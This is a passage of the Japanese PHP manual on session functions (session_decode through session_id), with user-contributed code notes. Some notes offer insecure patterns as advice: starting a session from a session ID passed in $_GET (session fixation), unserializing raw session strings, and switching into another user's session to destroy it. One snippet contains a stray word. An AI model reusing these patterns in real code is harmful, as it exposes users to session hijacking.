        $return_data = array();
        $offset = 0;
        while ($offset < strlen($session_data)) {
            $num = ord($session_data[$offset]);
            $offset += 1;
            $varname = substr($session_data, $offset, $num);
            $offset += $num;
            $data = unserialize(substr($session_data, $offset));
            $return_data[$varname] = $data;
            $offset += strlen(serialize($data));
        }
        return $return_data;
    }
}
?>

Usage:

<?php
Session::unserialize(session_encode());
?>
jason at joeymail dot net 04-Jan-2011 04:23
Yet another attempt a wheel re-invention, using match with offsets rather than split...

<?php
function unserializesession( $data )
{
    if(  strlen( $data) == 0)
    {
        return array();
    }

    // match all the session keys and offsets
    preg_match_all('/(^|;|\})([a-zA-Z0-9_]+)\|/i', $data, $matchesarray, PREG_OFFSET_CAPTURE);

    $returnArray = array();

    $lastOffset = null;
    $currentKey = '';
    foreach ( $matchesarray[2] as $value )
    {
        $offset = $value[1];
        if(!is_null( $lastOffset))
        {
            $valueText = substr($data, $lastOffset, $offset - $lastOffset );
            $returnArray[$currentKey] = unserialize($valueText);
        }
        $currentKey = $value[0];

        $lastOffset = $offset + strlen( $currentKey )+1;
    }

    $valueText = substr($data, $lastOffset );
    $returnArray[$currentKey] = unserialize($valueText);

    return $returnArray;
}
?>
davyvandenbremt at gmail dot com 16-Dec-2010 01:18
Here's what we are using to unserialize the session.

<?php
function unserialize_session($val) {
  $result = array();

  // prefixing with semicolon to make it easier to write the regular expression
  $val = ';' . $val;

  // regularexpression to find the keys
  $keyreg = '/;([^|{}"]+)\|/';

  // find all keys
  $matches = array();
  preg_match_all($keyreg, $val, $matches);

  // only go further if we found some keys
  if (isset($matches[1])) {
    $keys = $matches[1];

    // find the values by splitting the input on the key regular expression
    $values = preg_split($keyreg, $val);

    // unshift the first value since it's always empty (due to our semicolon prefix)
    if (count($values) > 1) {
      array_shift($values);
    }

    // combine the $keys and $values
    $result = array_combine($keys, $values);
  }

  return $result;
}
?>
deminy at deminy dot net 16-Nov-2007 01:24
1. Reply to ac's post:

As I mentioned at http://us.php.net/manual/en/function.unserialize.php#76977 , the regular expression used to unserialize a PHP session data won't work if the session data contains string variable which contains character '|'.

Here is a simple example I just come up with to show when the function unserializesession() won't work.

<?php
function unserializesession($data) {
    $vars=preg_split('/([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff^|]*)\|/',
              $data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
    for($i=0; $vars[$i]; $i++) $result[$vars[$i++]]=unserialize($vars[$i]);
    return $result;
}

session_start();

$_SESSION['var'] = 'a|b';
$str = session_encode();
$arr = unserializesession($str);

print_r($_SESSION);
echo "<br />\n";
print_r($arr);
?>

2. Reply to bmorel's post:

Your function session_real_decode() is very nice to decode session data without involving with session functions. It works in most cases, but when dealing with reference variables, there is another case which should also be handled:

    <?php case 'r': /* reference  */ // R in lowercase ?>

I found this bug on PHP 5.1.6 several months ago, but don't know if it exsits in other version of PHP or not. Also, I am not sure if similiar bugs exist when handling other data types.

So here is my suggestion to revise the function,
2.1.
    change the switch statement from
    <?php switch ($str[$q]) { ?>
    to
    <?php switch (strtolower($str[$q])) { ?>
2.2.
    In all case statements, use lowercase characters only for character comparison. For example,
    <?php case 'R': /* reference  */ ?>
    should be be written as
    <?php case 'r': /* reference  */ ?>

(I don't want to put long code here, so just leave pieces of code to save spaces)
ac 20-Oct-2007 07:46
this solved my | problem:

function unserializesession($data) {
    $vars=preg_split('/([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff^|]*)\|/',
              $data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
    for($i=0; $vars[$i]; $i++) $result[$vars[$i++]]=unserialize($vars[$i]);
    return $result;
}
leon dot pegg at gmail dot com 23-Aug-2006 08:14
i have found this to be a better way to restore session data while keeping your current session.

function decode_session($session_string){
    $current_session = session_encode();
    foreach ($_SESSION as $key => $value){
        unset($_SESSION[$key]);
    }
    session_decode($session_string);
    $restored_session = $_SESSION;
    foreach ($_SESSION as $key => $value){
        unset($_SESSION[$key]);
    }
    session_decode($current_session);
    return $restored_session;
}

enjoy
xueron at gmail dot com 15-Jul-2006 09:30
a perl reg:

$s = session_encoded_value;
%res = $s =~ /([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\|([^\|]*[\;\}])/g;
nero321 at zmail dot sk 27-Jan-2006 05:01
Another solution for decoding session string to "$_SESSION"-like array:

<?php

// returns decoded string as arrays of variables
//   or false on error (when session_decode returns false)
function DecodeSession($sess_string)
{
    // save current session data
    //   and flush $_SESSION array
    $old = $_SESSION;
    $_SESSION = array();

    // try to decode passed string
    $ret = session_decode($sess_string);
    if (!$ret) {
        // if passed string is not session data,
        //   retrieve saved (old) session data
        //   and return false
        $_SESSION = array();
        $_SESSION = $old;

        return false;
    }

    // save decoded session data to sess_array
    //   and flush $_SESSION array
    $sess_array = $_SESSION;
    $_SESSION = array();

    // restore old session data
    $_SESSION = $old;

    // return decoded session data
    return $sess_array;
}

?>

Example of use:

<?php

$sarr = DecodeSession($sess_str);
print_r($sarr);

?>

But I have not tested performance.
erwinmoller at xs4all dot nl 18-Oct-2005 07:25
The regExp-method describe earlier doesn't work under all conditions.

If I feed this:
voornaam|s:8:"Ai|;\'\"";achternaam|s:6:"werrwe";leeftijd|i:44;

I get this:
array(4) {
  ["voornaam"]=>
  bool(false)
  ["Ai"]=>
  bool(false)
  ["achternaam"]=>
  string(6) "werrwe"
  ["leeftijd"]=>
  int(44)
}

while I expected:
array(3) {
  ["voornaam"]=>
  string(8) "Ai|;\'\""
  ["achternaam"]=>
  string(6) "werrwe"
  ["leeftijd"]=>
  int(44)
}

I think the | is messing things up. :-/
brett at brettbrewer dot com 29-Jul-2005 11:25
I have made a minor change to fabrizio's (et all) version of the unserializesession function because it was choking on underscores in my variable names.  Here is the correct version which should account for ALL possible PHP variable names:

function unserializesession($data) {
   $vars=preg_split(
             '/([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\|/',
             $data,-1,PREG_SPLIT_NO_EMPTY |
              PREG_SPLIT_DELIM_CAPTURE
             );
   for($i=0; $vars[$i]; $i++) {
       $result[$vars[$i++]]=unserialize($vars[$i]);
   }
   return $result;
}

Please note that I had to split the preg_split function call above into 4 lines due to the limitations of this forum. This version changes the regex used to find variable names so that it complies with the specs for  variable names as specified in the PHP manual at http://us3.php.net/manual/en/language.variables.php. I just took the regex directly from the PHP manual pages where they give the regex equivalent for a valid variable name as:

[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*

Anyway, this seems to work great for me now, even on gigantic strings of encoded session data.
vesely at tana dot it 26-May-2005 03:25
When using this function to manage sessions, it is MUCH
better to have register_globals turned off. Then one can
examine the session content given its id.

<?php
   $fname = session_save_path() . "/sess_" . $the_sid;
   if (session_decode(file_get_contents($fname)))
   {
      $vars = $_SESSION;
      $_SESSION = array();

      // examine $vars...
   }
?>

Depending on PHP version, you may need to have a dummy
session started for the code above to work. I reset the
$_SESSION immediately in order to avoid writing the
dummy session: that's needed while testing the code!
fabrizio dot messina at gmail dot com 16-May-2005 06:40
this function _really_ split and decode session data:

function unserializesession($data) {
   $vars=preg_split('/([a-zA-Z0-9]+)\|/',$data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
   for($i=0; $vars[$i]; $i++) {
       $result[$vars[$i++]]=unserialize($vars[$i]);
   }
   return $result;
}

the difference from previously posted 'unserializesession' function is the regular expression inside function preg_split ('[a-zA-Z0-9]+' vs  '[a-z,A-Z]+' )
sco at postmaster dot co dot uk 04-Jun-2004 07:52
If you're trying to access your session data from outside the regular php session functions, you might want to use WDDX as your serializer, as opposed to the normal php serializer. When your data is serialized as XML, obviously it's easy to unserialize as you please.

WDDX seems to be a little slower, and the text string it creates is much bigger than that created by the normal php serializer, but it provides the functionality with minimal hassle.

Donal
forum at orthanc dot co dot nz 02-Apr-2004 12:26
Becarful using this if you are trying to switch out of an existing session rather than load one into a clean slate.

session_decode doesn't destroy the existing session data, it will over write it if there is a session variable of the same name, but if the names don't clash the existing session variables will hang around.

I have yet to find a better solution than

session_destroy()
session_start()
session_decode(....);

-----------------------------------------
To explain what I'm talking about

<?
    session_start();
    $a = 5;
    session_register('a');
    session_decode("<session that doesn't have a as a session variable>");
    print (session_is_registered('a') ? $a : 'Not Registered' );
?>

The above code will print '5' as $a hasn't been destroyed or even unregistered by the session_decode
njail 12-Dec-2003 12:28
<?PHP
// Get Session Content
$varsess = Array('SESSION');
for ($i = 0; $i < sizeof($varsess); $i++)
{
  if (is_array(${"_{$varsess[$i]}"}))
  {
    foreach (${"_{$varsess[$i]}"} as $var=>$val)
    {
    $$var = $val;
    // print "Var :".$var." -- Value :".$val."\n<br>";
    }
  }
  unset(${"_{$varsess[$i]}"});
}
?>
petej*shaman_ca 21-Aug-2003 01:44
Seems like there was a change in the behavior of this function somewhere between 4.1.2 and 4.3.3.  In 4.1.2 session_decode() didn't care whether the session was started, and would just decode the string into the _SESSION array.  In my 4.3.3 install, session_decode() wouldn't work unless I explicitly started the session with session_start().


セッションに登録されたデータを全て破棄する

  • ≪ session_decode
  • session_encode ≫
  • PHP Manual
  • セッション関数
  • セッションに登録されたデータを全て破棄する

session_destroy

(PHP 4, PHP 5, PHP 7, PHP 8)

session_destroy — セッションに登録されたデータを全て破棄する

説明

session_destroy ( ) : bool

session_destroy()は、現在のセッションに 関連づけられたすべてのデータを破棄します。この関数は、 セッションに関するグローバル変数を破棄しません。 また、セッションクッキーを破棄しません。 セッション変数の利用を再開するには session_start() をコールする必要があります。

注意: 通常のコードでは、session_destroy() を呼ぶ必要はありません。 セッションデータを破棄するよりも、 $_SESSION 配列をクリーンアップしてください。

セッションを切断するには、 セッション ID の割り当ても解除する必要があります。セッション ID の受け渡しに クッキーが使用されている場合（デフォルト）には、セッションクッキーも 削除されなければなりません。 そのために setcookie() が利用できます。

session.use_strict_mode が有効になっている場合、 古くなった セッションID のクッキーを削除する必要はありません。 なぜなら、セッションモジュールはセッションIDに紐付いたデータがないとき、 セッションID のクッキーを受け入れないからです。 全てのサイトで、 session.use_strict_mode を有効にすることを推奨します。

警告

すぐにセッションを削除してしまうと、 望まない結果が起こる可能性があります。 並列にリクエストが行われたときに、 他のリクエストの接続は突然データが消えたように見えるかもしれません。 たとえば、JavaScript または/もしくは URLリンクからのリクエストが同時に実行された場合です。

現在のセッションモジュールは、空のセッションIDを受け入れません。 しかし、すぐにセッションを削除してしまうと、 クライアント(ブラウザ)サイドとの競合によって、 空のセッションIDクッキーが発生するかもしれません。 これにより、不必要なのにクライアント側が たくさんのセッションIDを作ってしまうことになります。

こうした事象を防ぐためには、 $_SESSION に削除時のタイムスタンプを設定し、 それより後のアクセスを拒否するようにしなければなりません。 もしくは、アプリケーションが同時に 複数のリクエストを受け付けないようにすることです。 同じことは、session_regenerate_id() 関数にも当てはまります。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 $_SESSIONでセッションを破棄する

<?php
// セッションの初期化
// session_name("something")を使用している場合は特にこれを忘れないように!
session_start();

// セッション変数を全て解除する
$_SESSION = array();

// セッションを切断するにはセッションクッキーも削除する。
// Note: セッション情報だけでなくセッションを破壊する。
if (ini_get("session.use_cookies")) {
    $params = session_get_cookie_params();
    setcookie(session_name(), '', time() - 42000,
        $params["path"], $params["domain"],
        $params["secure"], $params["httponly"]
    );
}

// 最終的に、セッションを破壊する
session_destroy();
?>

注意

注意:

$_SESSION を使っていない古いコードでのみ session_unset() を使用するようにしましょう。

参考

  • session.use_strict_mode
  • session_reset() - session 配列を元の値で再初期化します
  • session_regenerate_id() - 現在のセッションIDを新しく生成したものと置き換える
  • unset() - 指定した変数の割当を解除する
  • setcookie() - クッキーを送信する

User Contributed Notes

greald at gmail dot com 09-Dec-2020 08:21
All of a sudden neither session_destroy() nor $_SESSION=[] were sufficient to log out. I found the next to work:
<?php
setcookie(session_name(), session_id(), 1); // to expire the session
$_SESSION = [];
?>
JBH 04-Jul-2017 03:39
I'm using PHP 7.1 and received the following warning when implementing Example #1, above:

    PHP message: PHP Warning:  session_destroy(): Trying to destroy uninitialized session in...

What I discovered is that clearing $_SESSION and removing the cookie destroys the session, hence the warning.  To avoid the warning while still keeping the value of using session_destroy(), do this after everything else:

    if (session_status() == PHP_SESSION_ACTIVE) { session_destroy(); }
Jack Luo 27-Mar-2014 10:08
It took me a while to figure out how to destroy a particular session in php. Note I'm not sure if solution provided below is perfect but it seems work for me. Please feel free to post any easier way to destroy a particular session. Because it's quite useful for functionality of force an user offline.

1. If you're using db or memcached to manage session, you can always delete that session entry directly from db or memcached.

2. Using generic php session methods to delete a particular session(by session id).

<?php
$session_id_to_destroy = 'nill2if998vhplq9f3pj08vjb1';
// 1. commit session if it's started.
if (session_id()) {
    session_commit();
}

// 2. store current session id
session_start();
$current_session_id = session_id();
session_commit();

// 3. hijack then destroy session specified.
session_id($session_id_to_destroy);
session_start();
session_destroy();
session_commit();

// 4. restore current session id. If don't restore it, your current session will refer to the session you just destroyed!
session_id($current_session_id);
session_start();
session_commit();

?>
Praveen V 14-Sep-2012 04:39
If you want to change the session id on each log in, make sure to use session_regenerate_id(true) during the log in process.

<?php
session_start();
session_regenerate_id(true);
?>

[Edited by moderator (googleguy at php dot net)]


現在のセッションデータを、セッションエンコードされた文字列に変換する

  • ≪ session_destroy
  • session_gc ≫
  • PHP Manual
  • セッション関数
  • 現在のセッションデータを、セッションエンコードされた文字列に変換する

session_encode

(PHP 4, PHP 5, PHP 7, PHP 8)

session_encode — 現在のセッションデータを、セッションエンコードされた文字列に変換する

説明

session_encode ( ) : string|false

session_encode() は、 現在のセッションの内容をシリアライズした文字列を返します． 現在のセッションの内容は、スーパーグローバル $_SESSION から取得します。

デフォルトのアンシリアライズの方法は PHP が内部的に実装しているものであり、 unserialize() とは違います。 シリアライズの方法は、session.serialize_handler で設定できます。

返り値

現在のセッションの内容をエンコードしたものを返します。 失敗した場合に false を返します

注意

警告

session_encode() を使う前には session_start() を呼ぶ必要があります。

参考

  • session_decode() - セッションエンコードされた文字列からセッションデータをデコードする
  • session.serialize_handler

User Contributed Notes

Mark P 15-Jun-2017 06:17
session_encode() can't handle pipes in your keys.

<?php
session_start();
$_SESSION = ['foo|bar'=>'ba;z']; pathetic
dump(session_encode()); // false because "foo|bar" contains a pipe
?>
<carlos sica>sica at wnet dot com dot br 05-May-2005 09:19
session_encode() just return the session dataset in a formatted form

session_start();

$_SESSION['login_ok'] = true;
$_SESSION['nome'] = 'sica';
$_SESSION['inteiro'] = 34;

echo session_encode();

this code will print

login_ok|b:1;nome|s:4:"sica";inteiro|i:34;


セッションデータのガベージコレクションを実行する

  • ≪ session_encode
  • session_get_cookie_params ≫
  • PHP Manual
  • セッション関数
  • セッションデータのガベージコレクションを実行する

session_gc

(PHP 7 >= 7.1.0, PHP 8)

session_gc — セッションデータのガベージコレクションを実行する

説明

session_gc ( ) : int|false

session_gc() は、セッションデータの GC (ガベージコレクション) を実行するために使用されます。PHPは、デフォルトで確率ベースのセッション GC を行います。

確率ベースの GC は多少は機能しますが、いくつかの問題があります。 1) トラフィックが少ないサイトのセッションデータは、優先期間内に削除されないことがあります。 2) トラフィックの多いサイトでは、GC が頻繁になる可能性があります。 3) ユーザーの要求の際に GC が実行され、ユーザーは GC 遅延を感じます。

そのため、例えば UNIX 系のシステムでは「cron」を使用して、 本稼動システムに対して定期的に GC を実行することをお勧めします。 session.gc_probability を 0 に設定して、 確率ベースのGCを無効にしてください。

返り値

session_gc() は、 成功時には削除されたセッションデータの数、 失敗時には false を返します。

古いセーブハンドラは、削除されたセッションデータの数を返さず、成功/失敗フラグのみを返します。 この場合、実際に削除されたデータにかかわらず、削除されたセッションデータの数は 1 になります。

例

例1 cron のようなタスクマネージャでの session_gc() の例

<?php
// 注 : このスクリプトは、Web サーバープロセスと同じユーザーで実行される必要があります。

// セッションデータストレージアクセスを初期化するには、アクティブセッションが必要です。
session_start();

// 直ちに GC を実行します
session_gc();

// session_gc() によって作成されたセッション ID をクリーンアップします
session_destroy();
?>

例2 ユーザーがアクセス可能なスクリプトでの session_gc() の例

<?php
// 注 : session_gc() は、タスクマネージャスクリプトで使用することをお勧めしますが、次のように使用できます。

// 最後の GC 時間チェックに使用
$gc_time = '/tmp/php_session_last_gc';
$gc_period = 1800;

session_start();
// GC 期限が経過したときにのみ GC を実行します。
// つまり、リクエストのたびに session_gc() をコールすることはリソースの無駄です。
if (file_exists($gc_time)) {
    if (filemtime($gc_time) < time() - $gc_period) {
        session_gc();
        touch($gc_time);
    }
} else {
    touch($gc_time);
}
?>

参考

  • session_start() - 新しいセッションを開始、あるいは既存のセッションを再開する
  • session_destroy() - セッションに登録されたデータを全て破棄する
  • session.gc_probability

User Contributed Notes

There are no user contributed notes for this page.


セッションクッキーのパラメータを得る

  • ≪ session_gc
  • session_id ≫
  • PHP Manual
  • セッション関数
  • セッションクッキーのパラメータを得る

session_get_cookie_params

(PHP 4, PHP 5, PHP 7, PHP 8)

session_get_cookie_params — セッションクッキーのパラメータを得る

説明

session_get_cookie_params ( ) : array

セッションクッキーのパラメータを取得します。

返り値

現在のセッションクッキーの情報を配列として返します。 この配列には次のような項目が含まれています。

  • "lifetime" - クッキーの生存期間(lifetime)
  • "path" - 情報が保存されている場所のパス
  • "domain" - クッキーのドメイン
  • "secure" - クッキーはセキュアな接続でのみ送信されます。
  • "httponly" - クッキーは HTTP を通してのみアクセス可能となります。
  • "samesite" - クロスドメイン間で送信されるクッキーを制御します。

変更履歴

バージョン | 説明
7.3.0 | 返される配列に、"samesite" エントリが追加されました。

参考

  • session.cookie_lifetime
  • session.cookie_path
  • session.cookie_domain
  • session.cookie_secure
  • session.cookie_httponly
  • session.cookie_samesite
  • session_set_cookie_params() - セッションクッキーパラメータを設定する

User Contributed Notes

mmchristian at gmail dot com 07-Jun-2016 07:51
It should be noted that this gets the session cookie ini file parameters, not the parameters from the cookie itself.

ie. if you set the cookie lifetime using session_set_cookie_params(12345) and then try to use session_get_cookie_params, you will not get back 12345. Instead, you will get the lifetime set in the ini file.
Anonymous 13-Jan-2008 02:38
Try also
* INI_Get('session.cookie_lifetime')
* INI_Get('session.cookie_path')
* INI_Get('session.cookie_domain')
* INI_Get('session.cookie_secure')
* INI_Get('session.cookie_httponly')
separately instead of session_Get_Cookie_Params().

Additionally there is a "bug" - session.cookie_lifetime is mentioned twice in the description.
powerlord at spamless dot vgmusic dot com 18-Nov-2002 11:35
This function is quite handy when it comes to expiring session cookies... since Session cookies don't automatically get destroyed (see the session_destroy page).

For instance, here's what I plan to use to expire session cookies:

    $CookieInfo = session_get_cookie_params();
    if ( (empty($CookieInfo['domain'])) && (empty($CookieInfo['secure'])) ) {
        setcookie(session_name(), '', time()-3600, $CookieInfo['path']);
    } elseif (empty($CookieInfo['secure'])) {
        setcookie(session_name(), '', time()-3600, $CookieInfo['path'], $CookieInfo['domain']);
    } else {
        setcookie(session_name(), '', time()-3600, $CookieInfo['path'], $CookieInfo['domain'], $CookieInfo['secure']);
    }
    session_destroy();

It doesn't check to see if the path part of the session cookie is set because the defaults in php.ini have this set already, unlike domain and secure.


現在のセッション ID を取得または設定する

  • ≪ session_get_cookie_params
  • session_is_registered ≫
  • PHP Manual
  • セッション関数
  • 現在のセッション ID を取得または設定する

session_id

(PHP 4, PHP 5, PHP 7, PHP 8)

session_id — 現在のセッション ID を取得または設定する

説明

session_id ( string|null $id = null ) : string|false

session_id() は現在のセッション ID を取得 または設定するために使用されます。

現在の名前とセッション ID を、URL に追加可能な文字列として取得する ために定数 SID も使用できます。 セッションハンドリング も参照してください。

パラメータ

id

id が指定され、null でない場合、現在の セッション ID を置換します。その際、 この関数は session_start() より前にコールされている必要があります。 セッションハンドラによっては、セッション ID として使用できる文字に 制限がある場合があります。例えば、ファイルによるセッションハンドラでは セッション ID として使える文字は a-z A-Z 0-9 , (カンマ) そして - (マイナス) に限られます!

注意: セッション保持にクッキーを使用している場合、 session_id() において id 引数を指定すると、 現在のセッション ID がセットされるものと まったく同一であるかどうかに関わらず、 session_start() が呼び出される際に常に新しいクッキーが送信されます。

返り値

session_id() は現在のセッションのセッション ID を返します。 現在のセッションが存在しない (現在のセッション ID が存在しない) 場合は空文字列 ("") を返します。 失敗時には、false を返します。

変更履歴

バージョン | 説明
8.0.0 | id は、nullable になりました。

参考

  • session_regenerate_id() - 現在のセッションIDを新しく生成したものと置き換える
  • session_start() - 新しいセッションを開始、あるいは既存のセッションを再開する
  • session_set_save_handler() - ユーザー定義のセッション保存関数を設定する
  • session.save_handler

User Contributed Notes

hela69 12-Jan-2018 06:17
The call session_id(null) and session_id() provides not the same result. It is imperative to pass no parameters to get correct results.
ohcc at 163 dot com 07-Oct-2016 06:18
When session.use_strict_mode is set to 1 or true, you cannot use session_id($sid) to set the session id for the current session.
<?php
    ini_set('session.use_strict_mode', 1);
    $sid = md5('wuxiancheng.cn');
    session_id($sid);
    session_start();
    var_dump(session_id() === $sid);// always false
?>
Igor Oliveira Ferreira 12-Jul-2015 12:03
This can looks obvious, but as me, you can spend some hours to make a simple session work between different browsers and devices. These are the basics for me, but you can build upon.

<?php
if($_GET){
    //defining the session_id() before session_start() is the secret
    session_id($_GET['session_id']);
    session_start();
    echo "Data: " . $_SESSION['theVar'];
    //use your data before below commands
    session_destroy();
    session_commit();
}else{
    //common session statement goes here
    session_start();
    $session_id=session_id();
    $_SESSION['theVar'] = "theData";
    echo "your.php?session_id=" . $session_id;
}
?>
Shiji Jiang 22-Apr-2015 05:13
IMPORTANT NOTE:
If you assign a specific session ID to a user in your applet, then do not run the following code either while logout,
session_regenerate_id(TRUE);
USE:
session_regenerate_id();   instead.
OTHERWISE, setting the session id will no longer works for that user.
Riikka K 08-Mar-2015 06:08
It may be good to note that PHP does not allow arbitrary session ids. The session id validation in PHP source is defined in ext/session/session.c in the function php_session_valid_key:

https://github.com/php/php-src/blob/master/ext/session/session.c

To put it short, a valid session id may consists of digits, letters A to Z (both upper and lower case), comma and dash. Described as a character class, it would be [-,a-zA-Z0-9]. A valid session id may have the length between 1 and 128 characters. To validate session ids, the easiest way to do it use a function like:

<?php

function session_valid_id($session_id)
{
    return preg_match('/^[-,a-zA-Z0-9]{1,128}$/', $session_id) > 0;
}

?>

session_id() itself will happily accept invalid session ids, but if you try to start a session using an invalid id, you will get the following error:

Warning: session_start(): The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,'
gmillikan at t1shopper dot com 03-Mar-2015 06:20
session_id() URL-decodes the session value.   For example let's say we use setcookie() to push a cookie down to a web browser.  When the browser makes the next page request the browser sends the cookie back up to us with headers like this:  Cookie: PHPSESSID=enGHumY%2C-2De-F-TDzNHVmE%2ChY5;

If we use session_id() to read the cookie it will output a value of this: enGHumY,-2De-F-TDzNHVmE,hY5

The two values don't match!  Use either setrawcookie() or URL encode if you wish to match the original value.
infinito84 at gmail dot com 06-Mar-2014 05:50
Get a shared session.

Sometimes is good can interchange messages and vars between one session and another, but PHP dont support this. I create this script that allows with session_id() change from current session to shared session (this is, info with scope to all sessions) for read and write info and back in to user session. The code:

<?php
    ini_set('display_errors',1);
    error_reporting(E_ALL);

    function get_global($key){
        //Get current session
        if(session_status()!=PHP_SESSION_ACTIVE)session_start();
        $current_id=session_id();
        session_write_close();
        //Set a global session with session_id=1
        session_id(1);
        session_start();
        //Get superglobal value
        $value=null;
        if(isset($_SESSION[$key]))$value=$_SESSION[$key];
        session_write_close();
        //Set the before session
        session_id($current_id);
        session_start();
        return $value;
    }

    function set_global($key,$value){
        //Get current session
        if(session_status()!=PHP_SESSION_ACTIVE)session_start();
        $current_id=session_id();
        session_write_close();
        //Set a global session with session_id=1
        session_id(1);
        session_start();
        //Set superglobal value
        $_SESSION[$key]=$value;
        session_write_close();
        //Set the before session
        session_id($current_id);
        session_start();
    }
    //Example
    //Begin my session normally
    session_start();
    if(empty($_SESSION['count'])){
        $_SESSION['count']=0;
        $_SESSION['color']="rgb(".rand(0,255).",".rand(0,255).",".rand(0,255).")";
    }
    $_SESSION['count']++;
    $id=session_id();
    //Get the superglobal
    $test=get_global("test");
    //Set the superglobal test with empty array if this dont set
    if($test==null)$test=array();
    //Get the superglobal
    $test=get_global("test");
    //Set values for each reload page and save the session_id that create it
    $test[]="<span style='color:".$_SESSION['color']."'>Value: ".rand(0,100)." SessionID: $id</span><br>";
    //Save the superglobal
    set_global("test",$test);
    //Show the superglobal
    foreach($test as $t){
        echo $t;
    }
    echo "<b>Reloads = ".$_SESSION['count'].", <span style='color:".$_SESSION['color']."'>This my color</span></b>";

    exit;
?>
Dario Gomes 07-Jun-2011 07:06
Gosh, took a LOOONG time to figure this one out! If you have suhosin built into your PHP and can't get sessions to work after changing the session id through session_id(), try turning off suhosin's session encryption option in php.ini with:

suhosin.session.encrypt=Off
Francois 15-Mar-2011 10:45
In php version 5.3.2 in my case each time a new session-id was generated after session_start() but all was working before correctly in previous versions. So I lost data from my current session (wrong session-id). There was always a $_POST or $_GET or $_COOKIE available with the session-name and session-id, so session_start() was taken this automatically. Now I have to execute session_id(..old id ..) before session_start() and a session is started for the same id.
dmeweb at dibsplace dot com 06-Mar-2011 09:19
If you look at the notes on cookies (set_cookie I think), you will see that you can not read a cookie on the page that it is set.  That is because the cookies are sent with the page request which comes, of course, before your PHP is run.  You have to wait until the next page request from the same source to read the cookie.
ab at ixo point ca 07-Jan-2011 11:17
I was perplexed by inconsistent results with the session ID depending on whether I retrieve it using SID, COOKIE, or session_id().  I have found that session_id() is the most reliable method, whereas SID and COOKIE["PHPSESSIONID"] are sometimes undefined.

I used this simple script to quickly test the problem on my servers:

<?php
$a = session_id();
if(empty($a)) session_start();
echo "SID: ".SID."<br>session_id(): ".session_id()."<br>COOKIE: ".$_COOKIE["PHPSESSID"];
?>

Regardless of browser I see the COOKIE undefined on the first load and the other two defined, then SID is empty on subsequent reloads and COOKIE is defined, but session_id() is always defined.

If I insert the session_regenerate_id() method that jeff_zamrzla gives below the refresh the page, I get a new session_id() but the COOKIE value is initially the prior session_id() until I hit refresh a second time.  So again, session_id() proves to be the most reliable method.

It's probably not a bug since I found the behaviour to be consistent in PHP versions 5.2.14, 5.3.3 and 5.3.4, but I can't figure what I'm missing and hopefully this will help others who run into this.
Drugelis, Lietuva 11-Sep-2010 07:46
I had a lot of trouble with session_regenerate_id() as it did not regenerate... Session_id() stayed the same no matter what (unless closing the window). I wanted to have different sid and empty vars for each session/page meeting a condition for security reasons.  Finally, this worked:

<?php
$a = session_id();
if ($a == '') session_start();
if ( ...add check if you want to regenerate and destroy vars on some condition only [recommended :)]...  )
 { session_unset(); //destroys variables
   session_destroy() //destroys session;
 }

$a = session_id();
if ($a == '') session_start();
if (!isset($_SESSION['safety']))
{
    session_regenerate_id(true);
    $_SESSION['safety'] = true;
}
$_SESSION['sessionid'] = session_id();
?>

Now you get different sid and session variables empty for each session_start if condition is met (i.e. user hits refresh on user/password form, which I needed badly :). Hope this helps someone out there.
Env: localhost
Note: condition is mandatory, otherwise it destroys on each load.
Axel 13-May-2008 01:44
The documentation for session_id is incomplete when it says:
"For example, the file session handler only allows characters in the range a-z, A-Z and 0-9!".

It is untrue when changing the default for the session.hash_bits_per_character as Colin said. session_id may therefore contain "-" and ",".

http://fr.php.net/manual/en/session.configuration.php
25-Mar-2007 11:06
Regarding Colin's comment, note that setting hash_bits_per_character to 5 results in characters ranging from 0-9 and a-v. Most attackers would be wise enough to realize what was going on when they saw a letter in g-v.  The probability of not seeing a letter in g-v is somewhere around 2^-32.
Colin 08-Mar-2007 10:46
The higher you set session.hash_bits_per_character the shorter your session_id will become by using more bits per character. The possible values are 4, 5, or 6.

When using sha-1 for hashing (by setting ini_set('session.hash_function', 1) the following session string lengths are produced by the three session.hash_bits_per_character settings:

4 - 40 character string
5 - 32 character string
6 - 27 character string

It would seem desirable to use sha-l with 5 bits_per_character because this will emulate a standard 32 character md5 string and make a would-be attacker think that is what you're hashing with.
22-Aug-2006 01:15
In response to simon at quo dot com dot au:

The PHPSESSID is produced using an hash function. By default, it uses MD5 which produces 128 bits long (i.e: 16 bytes long) hashes.
But, since some bytes' values may not be used in the HTTP header, PHP outputs the hash in its hexadecimal representation, thus resulting in a 32 bytes long text.

Starting with  PHP 5.0, you can change the hash function used (by setting "session.hash_function" to whatever function you want to use in php.ini).
You may for example set it to 1 to switch to SHA-1 which produces 160 bits (20 bytes) long hashes.

Please also note that another setting was introduced in PHP 5 (session.hash_bits_per_character) which sort of "compresses" the hash. Thus, resulting in what seems to be a shorter hash.
This feature helps you improve your application's security by producing IDs that are harder to prodict for a malicious attacker.

More information on those settings is provided on:
http://www.php.net/manual/en/ref.session.php
simon at quo dot com dot au 06-Mar-2006 10:15
Length of PHPSESSID appears to be 32 characters by default.
jpjounier at hotmail dot com 23-Jun-2005 04:28
About the note from Cybertinus :

The following test doesn't work, the code following is always executed :

<?php
if(!session_id())
{
// Always executed even if there's already an opened session
}

session_id() returns an empty string if there is no current session, so to test if a session already exists, it's better to write this :
if(session_id() == "")
{
session_start();
}
else
{
// Anything you want
}
?>
cbarnes at bfinity dot net 09-May-2005 06:44
Note that Firefox and Mozilla use the same process for launching new windows or tabs, they will pick up the same session id as the previous windows until the parent process dies or is closed. This may cause undesired results if the session id is stored in a db and checked, a solution is to check at the new entry point (new tab or window if the user went back to the index page) for an existing session. If a session id exists and a new one is required use something like:

<?php
$ses_id = session_id();
$bsid_exists = false;
$bsid_exists = check_session_id_from_db($ses_id);
 if ($bsid_exists){
 //This is a reentry and the session already exists
 // create a new session ID and start a new
session_regenerate_id();
$ses_id = session_id();
 }
?>
